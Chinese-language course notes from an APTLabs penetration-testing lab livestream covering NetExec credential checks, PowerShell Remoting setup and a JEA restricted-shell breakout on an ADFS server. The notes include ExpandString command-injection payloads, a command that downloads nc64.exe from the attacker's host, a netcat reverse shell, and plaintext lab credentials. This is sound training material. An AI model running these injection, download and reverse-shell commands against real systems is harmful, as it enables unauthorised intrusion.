📚 目录
1. 开篇:回顾与当前进展
2. 再谈凭据验证结果与攻击者洞察
3. 解决 PowerShell Remoting 连接问题 (Kali 旧版本演示)
4. JEA 受限 Shell 绕过实战 (ADFS 服务器)
5. 获得稳定交互式 Shell
6. 权限困境与 NetExec 误判分析 (Pwn3d? 的再思考)
7. 后续方向与总结
1. 开篇与回顾 (PS Remoting 难题)
1.1 本周目标:解决登录,绕过 JEA
本次直播(周六)的核心目标是接续上周(周二)因 PowerShell Remoting 连接问题中断的进度。具体来说,是在成功通过 Kerberoasting 获得 adfs_svc 账户凭据 (S3cur!ty) 后,尝试登录 ADFS 服务器 (192.168.20.15),并绕过可能存在的 JEA (Just Enough Administration) 受限 Shell,最终获得对该服务器的完全控制。
尽管上周已通过 nxc winrm 命令确认该凭据有效并标记为 (Pwn3d!),表明其拥有本地管理员级别的访问权限,但在实际使用 evil-winrm 登录时,却遇到了命令执行受限的问题。
1.2 课程规划与 NetExec 工具后续
当前进度回顾: 完成了 Kerberoasting 攻击,获得了
adfs_svc的凭据。本周储备技术讲解: 主要围绕 WinRM、Evil-WinRM、PSRemoting 的原理、配置和排错。
NetExec (
nxc) 工具: 上周已大量拓展,剩余约三分之一内容将在后续穿插讲解。下周规划:
周二: 深入讲解
nxc的更多细节。下下周: 重点攻略 ADFS。
整体趋势: 随着深入域环境,概念和工具会密集出现,要求学员具备扎实基础。
2. 再谈凭据验证结果与攻击者洞察
2.1 NetExec (nxc smb) 输出的三种用户状态解读
再次回顾使用 nxc smb 进行凭据碰撞时的结果分类,深化理解:
[+] ... (Guest):现象: 认证尝试“成功”,但用户会话被映射为 Guest。
原因:
目标系统(如DC)可能配置了允许 Guest 匿名访问的策略。
提供的用户名在域中不存在,但认证机制仍然接受了该次尝试并将其归为 Guest 会话。
对攻击者意义: 通常无效。表明提供的用户名和密码组合不是一个有效的、具有特定权限的域账户。
[-] ... STATUS_LOGON_FAILURE:现象: 明确的登录失败。
原因: 用户名可能在域中存在,但提供的密码是错误的。也可能是用户名根本不存在。
对攻击者意义: 标记为登录失败的用户名 (如
robert,ralph,emma) 值得特别关注,因为它们很可能是真实存在的域账户,只是当前密码不对。这些账户是后续信息收集或攻击尝试的潜在目标。
[+] <DOMAIN>\<USER>:<PASSWORD>(无(Guest)标记):现象: 认证成功,且不是 Guest 会话。
原因: 提供了完全正确的域用户名和密码,并且该账户具有访问目标服务的权限。
对攻击者意义: 这是真正有效的域凭据,是后续横向移动、权限提升的关键入口 (如此处发现的
mark:\$U135@t0x053c)。
核心洞察: 仔细分析 nxc 的输出,特别是区分 Guest 登录和真实用户登录失败,对于准确评估凭据有效性和制定下一步攻击策略至关重要。
2.2 NetExec/CrackMapExec 工具哲学
定位:
nxc(NetExec) 及 CrackMapExec (CME) 是平台级的、功能强大的渗透测试工具,其核心能力可概括为:Crack (破解/验证): 进行凭据验证、密码喷洒、哈希传递等。
Map (枚举/映射): 发现和枚举网络中的主机、服务、用户、组、共享、会话、策略等。
Exec (执行): 在已获得访问权限的目标上执行命令或模块。
优秀工具的特质 (高级渗透视角):
透明性与可控性: 允许操作者清晰理解工具行为,并能精确控制其参数和执行流程,而非“黑盒”式的高度集成化。
基于协议: 工具的行为应能清晰映射到底层网络协议的交互。
模块化与扩展性: 提供灵活的模块接口,便于扩展和定制功能。
NXC/CME 的优势: 它们提供了丰富的命令行选项,让用户能细致地控制攻击的各个方面,更接近手动渗透的思维方式,有助于深入理解攻击原理。这与一些高度自动化、封装较深的框架(如 Metasploit 的某些模块)形成对比。
Impacket 的角色:
nxc大量依赖 Impacket 库进行底层协议交互。学习 Impacket 源码有助于更深层次地理解这些工具的工作方式和网络协议本身。
2.3 备选工具与排错策略 (Evil-WinRM 的多种实现)
当一个常用工具(如 evil-winrm)遇到问题时,除了直接调试其底层依赖(如 PS Remoting),还可以寻找并尝试该工具协议的其他实现或替代品。
背景:
evil-winrm的报错( invoke-expression 不被识别)提示其实现方式可能与当前环境不完全兼容。
思路: WinRM 服务是核心,WS-Management 是其协议。既然
evil-winrm是对 WinRM 服务的一种封装利用,那么理论上存在其他语言或库实现的 WinRM 客户端。示例 (Ruby 实现的
winrm_shell.rb):https://github.com/Alamot/code-snippets/tree/master/winrm
winrm_shell_with_upload.rb
在 GitHub 等代码托管平台搜索 "WinRM client"、"WS-Management library" 等关键词,可以找到不同语言(Python, Ruby, Go, Java 等)的实现。
本次演示中尝试了一个 Ruby 实现的
winrm_shell.rb脚本。# winrm_shell.rb require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt conn = WinRM::Connection.new( endpoint: 'http://192.168.20.15:5985/wsman', transport: :ssl, user: 'adfs_svc', password: 'S3cur!ty', :no_ssl_peer_verification => true ) file_manager = WinRM::FS::FileManager.new(conn)
结果: 该 Ruby 脚本连接后也遇到了与
evil-winrm类似的受限 Shell 报错。这进一步印证了问题不在于evil-winrm工具本身,而是目标环境通过 JEA 等机制限制了 Shell 的能力。
价值: 这种“换工具/换实现”的排错方法,有助于区分是工具的 Bug、特定实现的问题,还是目标环境的限制。
3. 解决 PowerShell Remoting 连接问题 (Kali 旧版本演示)
3.1 Kali 版本与 pwsh 模块兼容性问题回顾
问题核心: 在较新的 Kali Linux 版本上(尤其是滚动更新后),即使安装了
powershell(pwsh)、gss-ntlmssp和PSWSMan模块,通过Enter-PSSession连接 Windows 目标时仍大概率失败,提示 WS-Man 客户端库找不到或不可用。原因分析: 这主要归咎于微软对 PowerShell Core 跨平台组件(特别是 WS-Man 模块)的维护不佳,以及 Kali Linux 底层库和依赖频繁更新可能导致的兼容性冲突。
3.2 在 Kali 2023.4 (无更新) 环境下配置 PSRemoting
为了演示一个“已知良好”的环境,本次直播切换到了一个未进行滚动更新的 Kali Linux 2023.4 版本虚拟机。
3.2.1 验证 pwsh 版本与模块 (PSWSMan) 安装
启动
pwsh:┌──(root㉿kali)-[~/Desktop/APTLabs] └─# pwsh PowerShell 7.2.6 Copyright (c) Microsoft Corporation. https://aka.ms/powershell Type 'help' to get help.显示 PowerShell 版本 (此环境中为 7.2.6,新版 Kali 可能为 7.4.x)。
检查/安装
PSWSMan模块:# 检查模块是否已安装 Get-Module -ListAvailable PSWSMan # 如果未安装,则执行安装 Install-Module -Name PSWSMan -Force -Scope CurrentUser # 安装 WSMan 支持库 Install-WSMan -Force # 重启 pwsh 会话使模块生效 exit pwsh
3.2.2 确认 gss-ntlmssp 已安装
sudo apt list --installed | grep gss-ntlmssp
# 或尝试安装,如果已安装会提示
sudo apt install gss-ntlmssp
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# dpkg -l | grep -E 'gss-ntlmssp|powershell'\n
ii gss-ntlmssp 1.2.0-1+b1 amd64 GSSAPI NTLMSSP Mechanism -- MIT GSSAPI plugin
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# dpkg -l | grep -E 'gss-ntlmssp|powershell'\n
ii gss-ntlmssp 1.2.0-1+b2 amd64 GSSAPI NTLMSSP Mechanism -- MIT GSSAPI plugin
没更新前是+b1更新后是+b2此库为 Linux 提供 NTLM 认证能力。Parrot OS 可能需要手动安装,Kali 某些版本可能自带。
3.3 成功执行 Enter-PSSession 连接 ADFS 服务器
在配置妥当的 Kali 2023.4 环境的 pwsh 中:
Enter-PSSession -ComputerName 192.168.20.15 -Credential 0x0security\adfs_svc -Authentication Negotiate -Verbose
# 输入密码: S3cur!ty
┌──(root㉿kali)-[/root/Desktop/APTLabs]
└─PS> Enter-PSSession -ComputerName 192.168.20.15 -Credential 0x0security\adfs_svc -Authentication Negotiate -Verbose
PowerShell credential request
Enter your credentials.
Password for user 0x0security\adfs_svc: ********
[192.168.20.15]: PS>
结果: 连接成功。命令行提示符变为远程主机的路径,如
[192.168.20.15]: PS C:\Users\adfs_svc\Documents>。这证明了在特定(旧版或未受干扰的)Kali 环境下,PSRemoting 是可以正常工作的,进一步说明了之前连接失败是环境兼容性问题。
4. JEA 受限 Shell 绕过实战 (ADFS 服务器)
4.1 确认 JEA 环境 (NoLanguage 模式)
即使通过 Enter-PSSession 成功连接,Shell 的行为依然受限:
4.1.1 执行 Get-Command 查看允许的命令
[192.168.20.15]: PS> get-command
CommandType Name Version Source
----------- ---- ------- ------
Function Clear-Host
Function Exit-PSSession
Function Get-AsciiArt
Function get-childitem
Function Get-Command
Function Get-FormatData
Function Get-Help
Function Get-NetIPAddress 1.0.0.0 NetTCPIP
Function Get-ProcessID
Function Get-ProcessName
Function Invoke-CommandCMD
Function Measure-Object
Function Out-Default
Function Select-Object
Cmdlet Get-Member 3.0.0.0 Microsoft.PowerShell.Utility
Cmdlet Select-Object 3.0.0.0 Microsoft.PowerShell.Utility Clear-Host:清除命令行界面的内容,相当于清屏操作。
Exit-PSSession:退出当前的 PowerShell 会话。如果是远程会话,这会断开连接。
Get-AsciiArt:这不是 PowerShell 的标准函数,可能是自定义函数或由第三方模块提供,用于生成 ASCII 艺术。
Get-ChildItem:列出目录中的项,如文件和子目录,类似于 UNIX 中的
ls命令或 Windows 命令行的dir命令。Get-Command:获取所有可用的命令,包括 cmdlet、函数、工作流等。
Get-FormatData:获取指定类型的格式化数据信息。
Get-Help:显示有关 PowerShell 命令的帮助信息。
Get-NetIPAddress:获取网络接口的 IP 地址信息。它是
NetTCPIP模块的一部分。Get-ProcessID:这似乎是一个自定义函数,可能用于获取进程 ID。
Get-ProcessName:同样,这看起来是一个自定义函数,可能用于获取进程名称。
Invoke-CommandCMD:可能是一个自定义函数,用于执行命令行命令,但不是 PowerShell 的标准命令。
Measure-Object:计算对象的属性值,如计算文件大小或字符串长度等。
Out-Default:将输出发送到默认的输出格式器和输出设备,如控制台屏幕。
Select-Object:选择对象的某些属性或根据特定条件筛选对象。这是 PowerShell 中非常强大的一种数据操作方式。
Get-Member:显示对象的属性和方法。
Select-Object(重复列出):用于选择对象的部分属性或基于某些条件筛选对象。
========================
输出结果显示只有少数几个命令可用,如
Clear-Host,Exit-PSSession,Get-ChildItem(别名gci,ls,dir),Get-Command,Get-Help,Get-Member,Select-Object, 以及一些自定义函数如Get-AsciiArt,Invoke-CommandCMD。标准命令如hostname,ipconfig,systeminfo均无法执行。
4.1.2 分析 $PSSenderInfo 报错信息 (ScriptsNotAllowed, NoLanguage mode)
尝试访问自动变量 $PSSenderInfo:
[192.168.20.15]: PS> $SHELL
The syntax is not supported by this runspace. This can occur if the runspace is in no-language mode.
+ CategoryInfo : ParserError: ($SHELL:String) [], ParseException
+ FullyQualifiedErrorId : ScriptsNotAllowed
[192.168.20.15]: PS> $PSSenderInfo
The syntax is not supported by this runspace. This can occur if the runspace is in no-language mode.
+ CategoryInfo : ParserError: ($PSSenderInfo:String) [], ParseException
+ FullyQualifiedErrorId : ScriptsNotAllowed
报错:“此语法不受此运行空间支持。如果运行空间处于无语言模式 (no-language mode),可能会发生此情况。”
关键信息:
NoLanguage mode(无语言模式)。
4.2 PowerShell 语言模式详解
PowerShell 有多种语言模式,用于控制会话中可执行的操作,以增强安全性:

FullLanguage: 默认模式,支持所有 PowerShell 功能(脚本块、变量、模块导入、.NET 调用等)。
RestrictedLanguage: 限制性较强,仅允许基本变量操作和少量安全 Cmdlet,禁止脚本块、定义函数、导入模块等。
NoLanguage: 最严格模式,完全禁用 PowerShell 脚本语言。不能运行脚本,不能使用变量,只能执行预定义的、显式授权的 Cmdlet 和函数。常用于 JEA 端点。
https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.5ConstrainedLanguage: 限制某些“危险”操作,如调用 .NET 类型、访问 COM 对象、启动外部程序等。用于 Device Guard 等场景。
JEA 与 NoLanguage 模式的关系: JEA 配置通常将其端点设置为 NoLanguage 模式,以最大限度地限制用户能力,仅允许执行 JEA 角色能力文件中明确定义的命令。
4.3 JEA 绕过通用思路回顾
再次强调绕过受限 Shell 的通用策略:
枚举和分析允许的命令: 这是首要和核心的步骤。
利用自定义命令的漏洞: 自定义函数/脚本比系统自带命令更容易出问题。
诱导报错以收集信息。
检查配置文件和环境变量。
利用允许的外部命令。
4.4 尝试利用自定义函数 Get-AsciiArt

4.4.1 查看函数定义 (Get-Command -ShowCommandInfo Get-AsciiArt)
[192.168.20.15]: PS> Get-Command -ShowCommandInfo Get-AsciiArt
Name : Get-AsciiArt
ModuleName :
Module : @{Name=}
CommandType : Function
Definition :
param([string]$type='coffee')
$coffeebreak=@"
{
{ }
}_{ __{
.-{ } }-.
( } { )
|`-.._____..-'|
| ;--.
| (__ \
| | ) )
| |/ /
| / /
| ( /
\ y'
`-.._____..-'
"@
$smokebreak=@"
( )/
)(/
________________ ( /)
()__)____________)))))
"@
$art=switch($type){
coffee {$coffeebreak}
smoke {$smokebreak}
}
if(!$art){$art=$type}
$ExecutionContext.InvokeCommand.ExpandString($art)
ParameterSets : {@{Name=__AllParameterSets; IsDefault=False; Parameters=System.Management.Automation.PSObject[]}}
[192.168.20.15]: PS>get-command -ShowCommandInfo Invoke-CommandCMD
Name : Invoke-CommandCMD
ModuleName :
Module : @{Name=}
CommandType : Function
Definition :
param([switch]$verbose)
$params=@{}
$params["command"] = "Get-NetIpAddress"
$params["verbose"] = $verbose
invoke-expression @params
ParameterSets : {@{Name=__AllParameterSets; IsDefault=False; Parameters=System.Management.Automation.PSObject[]}}分析函数定义,找到关键代码行:
# ... (函数参数和变量定义) ...
$ExecutionContext.InvokeCommand.ExpandString($art)$art变量的值最终由-type参数控制。$ExecutionContext.InvokeCommand.ExpandString()这个方法会扩展 (执行) 其参数中的 PowerShell 表达式。
4.4.2 发现 $ExecutionContext.InvokeCommand.ExpandString(\$art) 未过滤参数
函数直接将用户提供的(或默认的)-type 参数内容(存于 $art)传递给 ExpandString,没有进行任何过滤或清理。
4.4.3 命令注入绕过 (Get-AsciiArt -type '$(<command>)')
由于 ExpandString 会执行其参数中的表达式,可以通过构造 -type 参数的值为 $(<任意PowerShell命令>) 来执行任意命令。
# 测试执行 whoami
[192.168.20.15]: PS> Get-AsciiArt -type '$(whoami)'
0x0security\adfs_svc
[192.168.20.15]: PS>Get-AsciiArt -type '$(get-location)'
C:\Users\adfs_svc\Documents
# 测试列出桌面文件
[192.168.20.15]: PS> Get-AsciiArt -type '$(Get-ChildItem C:\Users\adfs_svc\Desktop)'
# 或者 Get-AsciiArt -type '$(dir C:\Users\adfs_svc\Desktop)'
Directory: C:\Users\adfs_svc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- <Date> <Time> XX flag.txt
4.4.4 gc与gci
Get-AsciiArt -type '$(gci c:\users\adfs_svc\desktop\)'
Get-AsciiArt -type '$(gc c:\users\adfs_svc\desktop\flag.txt)'$(...)是 PowerShell 的子表达式扩展。gci是Get-ChildItem的简写,会列出desktop文件夹下的所有文件。如果
Get-AsciiArt没有限制参数类型,它会执行子表达式,等效于:Get-AsciiArt -type 'flag.txt'gc是Get-Content的简写,会读取flag.txt的内容。假设文件内容是
CTF{flag123},则命令等效于:Get-AsciiArt -type 'CTF{flag123}'
4.4.5 获取 flag (APTLABS{AiNt_J3a_Ju\$T_Gr3At})
# 或者 Get-AsciiArt -type '$(cat C:\Users\adfs_svc\Desktop\flag.txt)'
[192.168.20.15]: PS>Get-AsciiArt -type '$(get-content c:\users\adfs_svc\desktop\flag.txt)'
APTLABS{AiNt_J3a_Ju$T_Gr3At}
成功通过 Get-AsciiArt 函数的命令注入漏洞绕过了 JEA 限制,读取了 flag 文件。
5. 获得稳定交互式 Shell
通过 JEA 绕过执行单个命令不够方便,需要一个稳定的交互式 Shell。
5.1 上传 nc64.exe
5.1.1 本地 HTTP 服务器 (sudo php -S 0:80)
在攻击机(Parrot OS)上,使用 PHP 快速启动一个 HTTP 服务器,用于托管 nc64.exe。
# 在 nc64.exe 所在目录执行
sudo php -S 0.0.0.0:80
5.1.2 远程下载 (wget ... -outfile C:\programdata\nc64.exe)
在 JEA 受限 Shell 中,利用 Get-AsciiArt 的注入漏洞执行 wget (PowerShell 中的 Invoke-WebRequest 别名) 下载 nc64.exe 到目标机的 C:\ProgramData\ 目录 (该目录通常对多数用户可写)。
PowerShell
[192.168.20.15]: PS>Get-AsciiArt -type '$(wget http://10.10.16.111/nc64.exe -outfile C:\programdata\nc64.exe)'5.2 执行反弹 Shell
5.2.1 本地监听 (sudo rlwrap -cAr nc -lvnp 443)
在攻击机上使用 nc (配合 rlwrap 增强交互性) 监听 443 端口。
sudo rlwrap -cAr nc -lvnp 443rlwrap: 提供行编辑和历史记录功能。-cAr:rlwrap选项,自动补全,识别参数。-l: 监听模式。-v: 详细输出。-n: 不进行 DNS 解析。-p 443: 监听的端口。
5.2.2 远程执行 (Start-Job {C:\programdata\nc64.exe <attacker_IP> 443 -e powershell.exe})
在 JEA 受限 Shell 中,利用注入漏洞执行 Start-Job 在后台启动 nc64.exe 反弹 PowerShell。
[192.168.20.15]: PS>Get-AsciiArt -type '$(Start-Job {C:\programdata\nc64.exe 10.10.16.111 443 -e powershell.exe})'Start-Job: 在后台运行命令,避免当前 JEA 会话卡死。-e powershell.exe:nc参数,连接成功后执行powershell.exe。

5.3 确认 Shell 权限 (whoami, pwd 等)
攻击机成功接收到反弹 Shell,具有 0x0security\adfs_svc 用户权限的完整 PowerShell 交互环境。


PS C:\Users\adfs_svc\Documents> whoami
whoami
0x0security\adfs_svc
PS C:\Users\adfs_svc\Documents> pwd
pwd
Path
----
C:\Users\adfs_svc\Documents
PS C:\Users\adfs_svc\Documents> cat ../desktop/flag.txt
cat ../desktop/flag.txt
APTLABS{AiNt_J3a_Ju$T_Gr3At}
PS C:\Users\adfs_svc\Documents> Flag5
APTLABS{AiNt_J3a_Ju$T_Gr3At}
PS C:\Users\adfs_svc\Documents> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\Users\adfs_svc\Documents>
PS C:\Users\adfs_svc\Documents> whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
==================== ==============================================
0x0security\adfs_svc S-1-5-21-1203346422-2024322971-1674203895-1106
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
PS C:\Users\adfs_svc\Documents>
PS C:\Users\adfs_svc\Documents> whoami /upn
whoami /upn
adfs_svc@0x0security.local
PS C:\Users\adfs_svc\Documents> PS C:\Users\adfs_svc\Documents> ipconfig -all
ipconfig -all
Windows IP Configuration
Host Name . . . . . . . . . . . . : adfs
Primary Dns Suffix . . . . . . . : 0x0security.local
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : 0x0security.local
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-B0-6D-F8
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.20.15(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.20.1
DNS Servers . . . . . . . . . . . : 192.168.20.10
1.1.1.1
NetBIOS over Tcpip. . . . . . . . : Enabled
PS C:\Users\adfs_svc\Documents> PS C:\Users\adfs_svc\Documents> Get-ComputerInfo | more
Get-ComputerInfo | more
WindowsBuildLabEx : 17763.1.amd64fre.rs5_release.180914-1434
WindowsCurrentVersion : 6.3
WindowsEditionId : ServerStandard
WindowsInstallationType : Server
WindowsInstallDateFromRegistry : 1/2/2020 11:07:41 AM
WindowsProductId : 00429-80716-06128-AA506
WindowsProductName : Windows Server 2019 Standard
WindowsRegisteredOrganization :
WindowsRegisteredOwner : Windows User
WindowsSystemRoot : C:\Windows
WindowsVersion : 1809
BiosCharacteristics :
BiosBIOSVersion :
BiosBuildNumber :
BiosCaption :
BiosCodeSet :
BiosCurrentLanguage :
BiosDescription :
BiosEmbeddedControllerMajorVersion :
BiosEmbeddedControllerMinorVersion :
BiosFirmwareType :
BiosIdentificationCode :
BiosInstallableLanguages :
BiosInstallDate :
BiosLanguageEdition :
BiosListOfLanguages :
BiosManufacturer :
BiosName :
BiosOtherTargetOS :
BiosPrimaryBIOS :
BiosReleaseDate :
BiosSeralNumber :
BiosSMBIOSBIOSVersion :
BiosSMBIOSMajorVersion :
BiosSMBIOSMinorVersion :
BiosSMBIOSPresent :
BiosSoftwareElementState :
BiosStatus :
BiosSystemBiosMajorVersion :
BiosSystemBiosMinorVersion :
BiosTargetOperatingSystem :
BiosVersion :
CsAdminPasswordStatus :
CsAutomaticManagedPagefile :
CsAutomaticResetBootOption :
CsAutomaticResetCapability :
CsBootOptionOnLimit :
CsBootOptionOnWatchDog :
CsBootROMSupported :
CsBootStatus :
CsBootupState :
CsCaption :
CsChassisBootupState :
CsChassisSKUNumber :
CsCurrentTimeZone :
CsDaylightInEffect :
CsDescription :
CsDNSHostName :
CsDomain :
CsDomainRole :
CsEnableDaylightSavingsTime :
CsFrontPanelResetStatus :
CsHypervisorPresent :
CsInfraredSupported :
CsInitialLoadInfo :
CsInstallDate :
CsKeyboardPasswordStatus :
CsLastLoadInfo :
CsManufacturer :
CsModel :
CsName :
CsNetworkAdapters :
CsNetworkServerModeEnabled :
CsNumberOfLogicalProcessors :
CsNumberOfProcessors :
CsProcessors :
CsOEMStringArray :
CsPartOfDomain :
CsPauseAfterReset :
CsPCSystemType :
CsPCSystemTypeEx :
CsPowerManagementCapabilities :
CsPowerManagementSupported :
CsPowerOnPasswordStatus :
CsPowerState :
CsPowerSupplyState :
CsPrimaryOwnerContact :
CsPrimaryOwnerName :
CsResetCapability :
CsResetCount :
CsResetLimit :
CsRoles :
CsStatus :
CsSupportContactDescription :
CsSystemFamily :
CsSystemSKUNumber :
CsSystemType :
CsThermalState :
CsTotalPhysicalMemory :
CsPhyicallyInstalledMemory :
CsUserName :
CsWakeUpType :
CsWorkgroup :
OsName :
OsType :
OsOperatingSystemSKU :
OsVersion :
OsCSDVersion :
OsBuildNumber :
OsHotFixes :
OsBootDevice :
OsSystemDevice :
OsSystemDirectory :
OsSystemDrive :
OsWindowsDirectory :
OsCountryCode :
OsCurrentTimeZone :
OsLocaleID :
OsLocale :
OsLocalDateTime :
OsLastBootUpTime :
OsUptime :
OsBuildType :
OsCodeSet :
OsDataExecutionPreventionAvailable :
OsDataExecutionPrevention32BitApplications :
OsDataExecutionPreventionDrivers :
OsDataExecutionPreventionSupportPolicy :
OsDebug :
OsDistributed :
OsEncryptionLevel :
OsForegroundApplicationBoost :
OsTotalVisibleMemorySize :
OsFreePhysicalMemory :
OsTotalVirtualMemorySize :
OsFreeVirtualMemory :
OsInUseVirtualMemory :
OsTotalSwapSpaceSize :
OsSizeStoredInPagingFiles :
OsFreeSpaceInPagingFiles :
OsPagingFiles :
OsHardwareAbstractionLayer :
OsInstallDate :
OsManufacturer :
OsMaxNumberOfProcesses :
OsMaxProcessMemorySize :
OsMuiLanguages :
OsNumberOfLicensedUsers :
OsNumberOfProcesses :
OsNumberOfUsers :
OsOrganization :
OsArchitecture :
OsLanguage :
OsProductSuites :
OsOtherTypeDescription :
OsPAEEnabled :
OsPortableOperatingSystem :
OsPrimary :
OsProductType :
OsRegisteredUser :
OsSerialNumber :
OsServicePackMajorVersion :
OsServicePackMinorVersion :
OsStatus :
OsSuites :
OsServerLevel : FullServer
KeyboardLayout :
TimeZone : (UTC-08:00) Pacific Time (US & Canada)
LogonServer :
PowerPlatformRole : Desktop
HyperVisorPresent :
HyperVRequirementDataExecutionPreventionAvailable :
HyperVRequirementSecondLevelAddressTranslation :
HyperVRequirementVirtualizationFirmwareEnabled :
HyperVRequirementVMMonitorModeExtensions :
DeviceGuardSmartStatus : Off
DeviceGuardRequiredSecurityProperties :
DeviceGuardAvailableSecurityProperties :
DeviceGuardSecurityServicesConfigured :
DeviceGuardSecurityServicesRunning :
DeviceGuardCodeIntegrityPolicyEnforcementStatus :
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus :6. 权限困境与 NetExec 误判分析 (Pwn3d? 的再思考)
6.1 systeminfo 等命令依然访问被拒
在通过 nc 获得的 PowerShell 反弹 Shell 中,尝试执行 systeminfo 等命令时,仍然提示“Access denied”。
PS C:\users\adfs_svc\desktop> systeminfo
systeminfo
ERROR: Access denied
PS C:\users\adfs_svc\desktop>
PS C:\users\adfs_svc\desktop> cd ../../administrator.0X0SECURITY
cd ../../administrator.0X0SECURITY
PS C:\users\administrator.0X0SECURITY> gci
gci
gci : Access to the path 'C:\users\administrator.0X0SECURITY' is denied.
At line:1 char:1
+ gci
+ ~~~
+ CategoryInfo : PermissionDenied: (C:\users\administrator.0X0SECURITY:String) [Get-ChildItem], Unauthori
zedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
PS C:\users\administrator.0X0SECURITY> 
6.2 whoami /priv 显示权限有限
PS C:\Users\adfs_svc\Documents> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\Users\adfs_svc\Documents> 执行 whoami /priv 查看当前用户权限,发现只有两个基本权限:
SeChangeNotifyPrivilege(Bypass traverse checking)(默认所有用户都有)说明:允许用户遍历文件夹(即使对中间文件夹没有“列出目录”权限)。
用途:系统默认启用,允许访问路径下具体文件时跳过中间层访问检查。
用途场景:
可以访问
C:\Windows\System32\cmd.exe,即使不能列出C:\Windows。被很多进程用于正常文件操作。
SeIncreaseWorkingSetPrivilege(Increase a process working set)说明:允许进程增加其工作集大小(即分配更多内存页常驻物理内存)。
用途:常用于图形界面程序请求更多内存空间,防止被换出。
用途场景:
某些服务/驱动在注册时申请这个特权。
可以在
CreateProcess等 API 时设置dwCreationFlags。
这些权限远低于本地管理员应有的权限集。
6.3 追溯 NetExec (nxc) "Pwn3d!" 判断逻辑
6.3.1 查看 nxc 源码 (winrm.py)
nxc 是开源的,可以查看其判断 (Pwn3d!) 的逻辑。相关代码在 nxc/protocols/winrm.py 中的 check_if_admin 方法。
6.3.2 判断依据:访问 WS-Man Shell 端点 (http://schemas.microsoft.com/wbem/wsman/1/windows/shell) 是否成功
nxc 判断管理员权限的依据是:尝试通过 WinRM 枚举 http://schemas.microsoft.com/wbem/wsman/1/windows/shell 这个端点。如果该操作不抛出异常(即能够成功访问),则认为当前用户具有管理员权限 (self.admin_privs = True),并在输出中标记 (Pwn3d!)。
6.3.3 JEA 环境下的误判:能访问端点不代表拥有完整管理员权限
默认情况: 在标准 Windows 配置中,只有本地管理员组的成员才能成功访问上述 WS-Man Shell 端点。
JEA 的影响: JEA 允许管理员为非管理员用户(或虚拟账户、gMSA)配置对特定 WinRM 端点(包括 Shell 端点)的访问权限,但同时通过角色能力和语言模式严格限制其在该 Shell 中能执行的操作。
误判原因:
nxc的判断逻辑只检查了是否能“连接到”这个 Shell 端点,而没有进一步验证在该 Shell 上下文中是否拥有真正的、不受限的管理员操作能力。JEA 的存在使得“能连接”不等于“有完整权限”。
6.4 结论:当前 adfs_svc 账户权限仍受 JEA 限制,并非真正的“Pwn3d!” (系统级完全控制)。
尽管
nxc标记为Pwn3d!,且我们通过 JEA 绕过获得了看似“完整”的 PowerShell Shell,但adfs_svc用户的实际权限由于 JEA 的多维度限制(如运行上下文可能是虚拟账户,能执行的底层操作受限等),仍然远未达到系统管理员级别。这是一个重要的认知升级:工具的判断(如
Pwn3d!)可能因环境的复杂性(如 JEA)而不完全准确,需要结合实际的权限验证和操作来确认。
7. 后续方向与总结
7.1 ADFS 服务利用:即使非最高权限,仍可尝试利用 ADFS 服务本身。
尽管当前
adfs_svc账户的 Shell 权限受限,但其作为 ADFS 服务的运行账户,仍然可能拥有与 ADFS 服务交互、读取其配置、甚至导出相关证书或密钥的特定权限。后续攻击应聚焦于 ADFS 服务本身的漏洞和利用方法。
7.2 免杀与防御绕过:靶场环境更新,增加了免杀难度。
讲师提到,与上半年相比,当前靶场环境可能已更新,增加了免杀的挑战(如 Windows Defender 的实时监控)。后续利用 ADFS 的某些工具或脚本(如
RunasCS.exe)可能需要进行免杀处理或寻找 PowerShell 版本的替代品。
7.3 多路径探索:即使一条路受阻,也要尝试其他攻击路径。
渗透测试是动态对抗的过程。如果 ADFS 路径因防御过强而暂时无法突破,应考虑是否存在其他攻击路径。
